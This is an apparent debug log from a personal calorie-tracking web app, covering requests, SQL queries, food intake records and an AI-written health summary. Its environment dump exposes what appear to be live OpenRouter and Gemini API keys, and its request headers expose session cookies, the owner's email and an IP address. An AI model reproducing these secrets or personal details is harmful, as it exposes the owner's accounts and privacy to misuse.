2025-12-21T07:06:48.619Z server-connect:router Serving templateView /calorie-tracker
2025-12-21T07:06:48.620Z server-connect:app Executing action step identify
2025-12-21T07:06:48.620Z server-connect:app options: { provider: 'security' }
2025-12-21T07:06:48.620Z server-connect:output identity: 1
2025-12-21T07:06:48.620Z server-connect:app Executing action step restrict
2025-12-21T07:06:48.620Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-21T07:06:48.620Z server-connect:output restrict: undefined
2025-12-21T07:06:48.620Z server-connect:router Render template layouts/main
2025-12-21T07:06:48.621Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3As1VIO6abQdc8npzk8bYUKg%3D%3D.yrC8Y8GAZpAy%2Bh7Pxticc%2BNRoERDr9bAtUTyhBStCh7hQM2Q92U2Uu%2BrMaOLhjdCLf3KIsi5QG9LDBHXtPzaVVUTGvebzlq5%2BCQizQvHkEpTdHCZiiFuPJ4EtU9tVL1BEKZj4IUba0JfV4uqJO5SjJVKhZ6qnOKLPwBIsapeO3Q%3D.f3hu%2FJKLecrE2I6Roo8CL6Ybi2g3O8kfZgchBgUtUvQ; your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-22T03:59:09.069Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3As1VIO6abQdc8npzk8bYUKg%3D%3D.yrC8Y8GAZpAy%2Bh7Pxticc%2BNRoERDr9bAtUTyhBStCh7hQM2Q92U2Uu%2BrMaOLhjdCLf3KIsi5QG9LDBHXtPzaVVUTGvebzlq5%2BCQizQvHkEpTdHCZiiFuPJ4EtU9tVL1BEKZj4IUba0JfV4uqJO5SjJVKhZ6qnOKLPwBIsapeO3Q%3D.f3hu%2FJKLecrE2I6Roo8CL6Ybi2g3O8kfZgchBgUtUvQ; your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-21T07:06:48.825Z server-connect:app Executing action step identify
2025-12-21T07:06:48.825Z server-connect:app options: { provider: 'security' }
2025-12-21T07:06:48.825Z server-connect:output identity: 1
2025-12-21T07:06:49.150Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-21T07:06:49.151Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-21T07:06:49.152Z server-connect:app Executing action step identify
2025-12-21T07:06:49.153Z server-connect:app options: { provider: 'security' }
2025-12-21T07:06:49.153Z server-connect:output identity: 1
2025-12-21T07:06:49.153Z server-connect:app Executing action step restrict
2025-12-21T07:06:49.153Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T07:06:49.154Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-21T07:06:49.154Z server-connect:app Executing action step identify
2025-12-21T07:06:49.154Z server-connect:app options: { provider: 'security' }
2025-12-21T07:06:49.154Z server-connect:output identity: 1
2025-12-21T07:06:49.155Z server-connect:app Executing action step restrict
2025-12-21T07:06:49.155Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T07:06:49.155Z server-connect:output restrict: undefined
2025-12-21T07:06:49.155Z server-connect:app Executing action step single
2025-12-21T07:06:49.155Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-21T07:06:49.156Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-21T07:06:49.157Z server-connect:output restrict: undefined
2025-12-21T07:06:49.157Z server-connect:app Executing action step select
2025-12-21T07:06:49.157Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-21T07:06:49.157Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-21T07:06:49.158Z server-connect:app Executing action step identify
2025-12-21T07:06:49.159Z server-connect:app options: { provider: 'security' }
2025-12-21T07:06:49.159Z server-connect:output identity: 1
2025-12-21T07:06:49.159Z server-connect:app Executing action step restrict
2025-12-21T07:06:49.159Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T07:06:49.159Z server-connect:app Executing action step identify
2025-12-21T07:06:49.159Z server-connect:app options: { provider: 'security' }
2025-12-21T07:06:49.159Z server-connect:output identity: 1
2025-12-21T07:06:49.159Z server-connect:app Executing action step restrict
2025-12-21T07:06:49.159Z server-connect:app options: { provider: 'security' }
2025-12-21T07:06:49.159Z server-connect:output restrict: undefined
2025-12-21T07:06:49.159Z server-connect:app Executing action step single
2025-12-21T07:06:49.159Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-21T07:06:49.161Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-21T07:06:49.162Z server-connect:output summary: {
  summary: {
    rating: 5,
    summary: "The day's intake appears to be quite light, with limited food variety. While protein intake from the supplement is good, the overall meal composition might not be sufficiently supportive for muscle development and sustained energy levels. The recent weight trend shows a gradual decrease, which is positive for fat loss.",
    bad_points: [
      'Limited food variety for the day.',
      'The meal composition seems to lack sufficient nutrient density.',
      'Potential for inadequate protein from whole food sources.'
    ],
    good_points: [
      'Included a protein supplement post-workout.',
      'Recent weight logs indicate a downward trend.'
    ],
    suggestions: [
      'Incorporate more whole food sources to increase nutrient and fiber intake.',
      'Ensure a balanced distribution of protein throughout the day.',
      'Consider adding complex carbohydrates and healthy fats to meals for sustained energy.',
      'Hydrate adequately throughout the day.'
    ],
    predicted_weight: 69.6,
    predicted_weight_trend: 'Continued gradual loss'
  },
  date: '2025-12-20T18:30:00.000Z'
}
2025-12-21T07:06:49.162Z server-connect:output restrict: undefined
2025-12-21T07:06:49.163Z server-connect:app Executing action step single
2025-12-21T07:06:49.163Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-21T07:06:49.163Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-21T07:06:49.164Z server-connect:app Executing action step select
2025-12-21T07:06:49.164Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-21T07:06:49.165Z server-connect:output item_list: [
  {
    id: 473,
    intake_date: '2025-12-20T18:30:00.000Z',
    item_name: 'Aalo Matar Ghughri',
    calories: 250,
    protein_gm: 8,
    carbs_gm: 35,
    fat_gm: 10,
    quantity: '1 serving',
    replacements: 'Aalo Matar Ghughri with less oil,Steamed vegetables with a side of lean protein,Lentil soup (dal) with vegetables',
    created_at: '2025-12-20T22:31:45.000Z',
    skip_level: 2,
    skip_reason: "While potatoes and peas offer some nutrients, traditional preparations can be high in oil. For muscle development, focusing on higher protein and lower fat options might be more beneficial, especially if consumed frequently. However, in moderation, it's an acceptable dish."
  },
  {
    id: 474,
    intake_date: '2025-12-20T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 24,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (approx 30g, typical serving size)',
    replacements: 'Casein protein (slower digestion, good for overnight),Egg white protein,Plant-based protein (pea, rice, soy - may have different amino acid profiles)',
    created_at: '2025-12-21T00:05:05.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development and recovery, especially post-workout. High in protein and low in carbs/fat.'
  },
  {
    id: 475,
    intake_date: '2025-12-20T18:30:00.000Z',
    item_name: 'Roti',
    calories: 400,
    protein_gm: 12,
    carbs_gm: 80,
    fat_gm: 4,
    quantity: '4',
    replacements: 'Multigrain roti,Jowar roti,Bajra roti,Quinoa roti',
    created_at: '2025-12-21T01:36:48.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates for energy, especially with whole wheat. For muscle development, whole grains are beneficial.'
  },
  {
    id: 476,
    intake_date: '2025-12-20T18:30:00.000Z',
    item_name: 'Baingan Sabji',
    calories: 150,
    protein_gm: 3,
    carbs_gm: 15,
    fat_gm: 10,
    quantity: '1 serving (approx 150g)',
    replacements: 'Baingan Bharta (less oil),Steamed vegetables,Lauki Sabji (bottle gourd curry)',
    created_at: '2025-12-21T01:36:48.000Z',
    skip_level: 1,
    skip_reason: "Eggplant is a good source of fiber and nutrients. The calorie content depends heavily on the oil used. If prepared with minimal oil, it's a healthy addition."
  }
]
2025-12-21T07:06:49.165Z server-connect:app Executing action step setvalue
2025-12-21T07:06:49.165Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-21T07:06:49.165Z server-connect:output var_total: 920
2025-12-21T07:06:49.165Z server-connect:app Executing action step setvalue
2025-12-21T07:06:49.165Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-21T07:06:49.165Z server-connect:output var_consumed: 38
2025-12-21T07:06:49.165Z server-connect:app Executing action step setvalue
2025-12-21T07:06:49.165Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-21T07:06:49.165Z server-connect:output var_deficit: 1480
2025-12-21T07:06:49.165Z server-connect:app Executing action step custom
2025-12-21T07:06:49.165Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-21T07:06:49.166Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '920',
    surplus_or_deficit: '1480',
    status_flag: 2
  }
]
2025-12-21T07:06:49.853Z server-connect:app Executing action step identify
2025-12-21T07:06:49.853Z server-connect:app options: { provider: 'security' }
2025-12-21T07:06:49.853Z server-connect:output identity: 1
2025-12-21T07:06:54.967Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-21T07:06:54.967Z server-connect:app Executing action step identify
2025-12-21T07:06:54.967Z server-connect:app options: { provider: 'security' }
2025-12-21T07:06:54.967Z server-connect:output identity: 1
2025-12-21T07:06:54.967Z server-connect:app Executing action step restrict
2025-12-21T07:06:54.967Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T07:06:54.968Z server-connect:output restrict: undefined
2025-12-21T07:06:54.968Z server-connect:app Executing action step select
2025-12-21T07:06:54.968Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-21T07:06:54.969Z server-connect:output items_consumed_today: [
  {
    id: 473,
    item_name: 'Aalo Matar Ghughri',
    calories: 250,
    protein_gm: 8,
    carbs_gm: 35,
    fat_gm: 10,
    quantity: '1 serving'
  },
  {
    id: 474,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 24,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (approx 30g, typical serving size)'
  },
  {
    id: 475,
    item_name: 'Roti',
    calories: 400,
    protein_gm: 12,
    carbs_gm: 80,
    fat_gm: 4,
    quantity: '4'
  },
  {
    id: 476,
    item_name: 'Baingan Sabji',
    calories: 150,
    protein_gm: 3,
    carbs_gm: 15,
    fat_gm: 10,
    quantity: '1 serving (approx 150g)'
  }
]
2025-12-21T07:06:54.969Z server-connect:app Executing action step paged
